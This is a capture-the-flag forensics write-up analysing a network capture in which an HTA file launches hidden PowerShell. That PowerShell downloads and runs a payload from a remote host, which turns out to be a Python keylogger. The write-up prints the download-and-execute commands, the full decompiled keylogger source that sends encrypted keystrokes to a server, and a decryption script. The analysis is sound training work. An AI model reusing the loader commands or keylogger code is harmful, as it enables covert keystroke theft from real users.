While I was surfing the web I probably clicked something that I shouldn’t have, and now I believe that someone knows everything about me. Help me find out what is going on! The profile is Win10x64_17134. drive.google.com/file/d/1bwsV4ESzTVlEHeSyIjJROdxUgt31aBQ5
Category: forensics
Solver: 3mb0, mp455
Flag: HTB{t3ll_me_@ll_Your_S3cr3ts}
Writeup
This time we got an url: drive.google.com/file/d/1bwsV4ESzTVlEHeSyIjJROdxUgt31aBQ5
Here we find a zip archive containing two files: tioe.pcap
and ioe.raw
tioe.pcap
Let’s focus on tioe.pcap
. This packet capture file can be divided in two parts. First HTTP Traffic and after that plain TCP streams.
HTTP Traffic
The network capture starts when the client (192.168.1.3) requests the file job_application.hta
from the server (192.168.1.9).
When the client receives and executes that file.
sh.run('powershell.exe /window hidden /e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADkAOgA4ADAALwBkAG8AdwAuAHAAcwAxACcAKQApAA==');
He decode and executes it.
iex ((new-object net.webclient).downloadstring('http://192.168.1.9:80/dow.ps1'))
And he automatically loads and executes the powershell script dow.ps1
.
Invoke-WebRequest -Uri "http://192.168.1.9:80/cbtws.exe" -OutFile "~\cbtws.exe"
Start-Process -Filepath "~\cbtws.exe"
That loads and executes another file itself: cbtws.exe
.
At this point we tried everything…
Decompiling or debugging, analysing the remaining package capture or the memory dump, …
But as this is not directly connected to the solution we will talk later about that.
When we fire strings
against cbtws.exe
, we notice that there are many references to compiled python files.
We tried many hours to reverse engineer the executable we noticed the environment variable that leads to a temporary folder named “_MEI*”. Researching for that folder we found [1] with the information that the folder is used to store the python runtime in it. So we deal with a visual c++ program that is just a wrapper around some python scripts.
At this point we had already stumbled some times over PyInstaller [2] (for example by finding the debugging call pyiboot01_bootstrap
and the direct connection to it).
With that knowledge we also find a nice blog entry [3] that gave us the background information - The application icon, the python.dll - everything fits.
We follow the instructions and extract the python files via pyinstxtractor [4]. After that we seperate from that blog entry as it uses python2.7 and we use python3.7.
But pyinstxtractor’s official instructions link to Uncompyle6 [5] and we follow.
(Apart of one little python version error [6]) we where able to decompile keylog.pyc
to keylog.py
.
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.6 (default, Sep 25 2020, 09:36:53)
# [GCC 10.2.0]
# Embedded file name: keylog.py
from pynput.keyboard import Listener
from datetime import datetime
from Crypto.Cipher import AES
import threading, socket, random
text = ''
def gen_key() -> str:
key = ''
sed = int(datetime.now().strftime('%H%M%S'))
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return key
def aes_enc(text: bytes) -> bytes:
key = 'oW7P0lH8aroxDKqn'
iv = gen_key()
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv.encode('utf-8'))
return cipher.encrypt(text)
def send(text: str) -> None:
HOST = '192.168.1.9'
PORT = 4443
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as (s):
s.connect((HOST, PORT))
s.sendall(aes_enc(text.encode('utf-8')))
def report() -> None:
global text
if text != '':
send(text)
text = ''
timer = threading.Timer(10, report)
timer.start()
def keystrokes(key: str) -> None:
global text
key = str(key).replace("'", '')
text += key + ' '
def main() -> None:
with Listener(on_press=keystrokes) as (log):
report()
log.join()
if __name__ == '__main__':
main()
# okay decompiling keylog.pyc
We have also known before but at the latest we know now that the executable was a keylogger that send all pressed keys encrypted to the server.
Here we got the ecryption (AES CFB), the key and almost the initialization vector that was used to send some packages to the server.
Plain TCP Traffic
These packages we can also see in our package capture. As there are encrypted we don’t know the content but we have meta-information such as the time the package was send.
This way we have all information to decrypt those messages. For that we build a script:
from Crypto.Cipher import AES
import threading, socket, random
text = 'a870f8524cf132984bbacdbcd0a44d768e5f9a3467effbca4dcb6cab3341957d00131021203cd24a5096f0350522053bac2822146c29eba6'
time = '200302'
def gen_key() -> str:
key = ''
sed = int(time)
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return key
def aes_dec(text: bytes) -> bytes:
key = 'oW7P0lH8aroxDKqn'
iv = gen_key()
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv.encode('utf-8'))
return cipher.decrypt(text)
def main() -> None:
print(aes_dec(bytes.fromhex(text)))
if __name__ == '__main__':
main()
Via placing the message and the time in the constant fields we can decode each message after the other,
b'Key.shift C a n Key.space i Key.space g e t Key.space h a c k e d Key.space b y Key.space c l i c k i n g Key.space a Key.space l i n k Key.shift ? Key.enter '
b'Key.shift I s Key.space i t Key.space s a f e w Key.space t Key.backspace Key.backspace Key.backspace Key.space t o Key.space o p e n Key.space a '
b'l Key.backspace Key.space l i n k Key.shift ? Key.enter '
b'Key.shift I s Key.space t h e r e Key.space a Key.space w a y Key.space t o Key.space f i n d Key.space i Key.backspace o u t Key.space i f Key.space i Key.space g o t Key.space h a c k '
b'e d Key.shift ? Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift I '
b'Key.space m i g h t Key.space g o t Key.space h a c k e d Key.enter Key.shift H e l '
b'p Key.space i Key.space g o t Key.space h a c k e d Key.enter '
b'Key.shift H T B '
b'Key.shift { t 3 '
b'l l Key.shift _ '
b'm e Key.shift _ '
b'Key.shift A l l Key.left Key.left Key.backspace Key.shift @ Key.right Key.right '
b'Key.shift _ Y o u r Key.shift _ '
b'Key.shift S 3 c r 3 t s Key.shift } '
b'Key.shift H Key.backspace '
b'Key.shift H o w Key.space c a n Key.space i Key.space b u r n Key.space m y Key.space p c Key.space a n d Key.space t h e Key.space m a l '
b'\xf4\xb0J\n\xe8f\xc8\x82\x15<`Ec\xa6kAe w i t h i n Key.space i t Key.shift ? '
It looks like the client has typed the flag: HTB{t3ll_me_@ll_Your_S3cr3ts}
Other resources
[1] https://forum.checkmk.com/t/mei-directories-in-tmp-on-windows/17163/3
[2] https://github.com/pyinstaller/pyinstaller/tree/develop/bootloader
[3] https://0xec.blogspot.com/2017/12/reversing-pyinstaller-based-ransomware.html
[4] https://github.com/extremecoders-re/pyinstxtractor
[5] https://github.com/rocky/python-uncompyle6/
[6] https://reverseengineering.stackexchange.com/questions/23522/decompiling-python-files-valueerror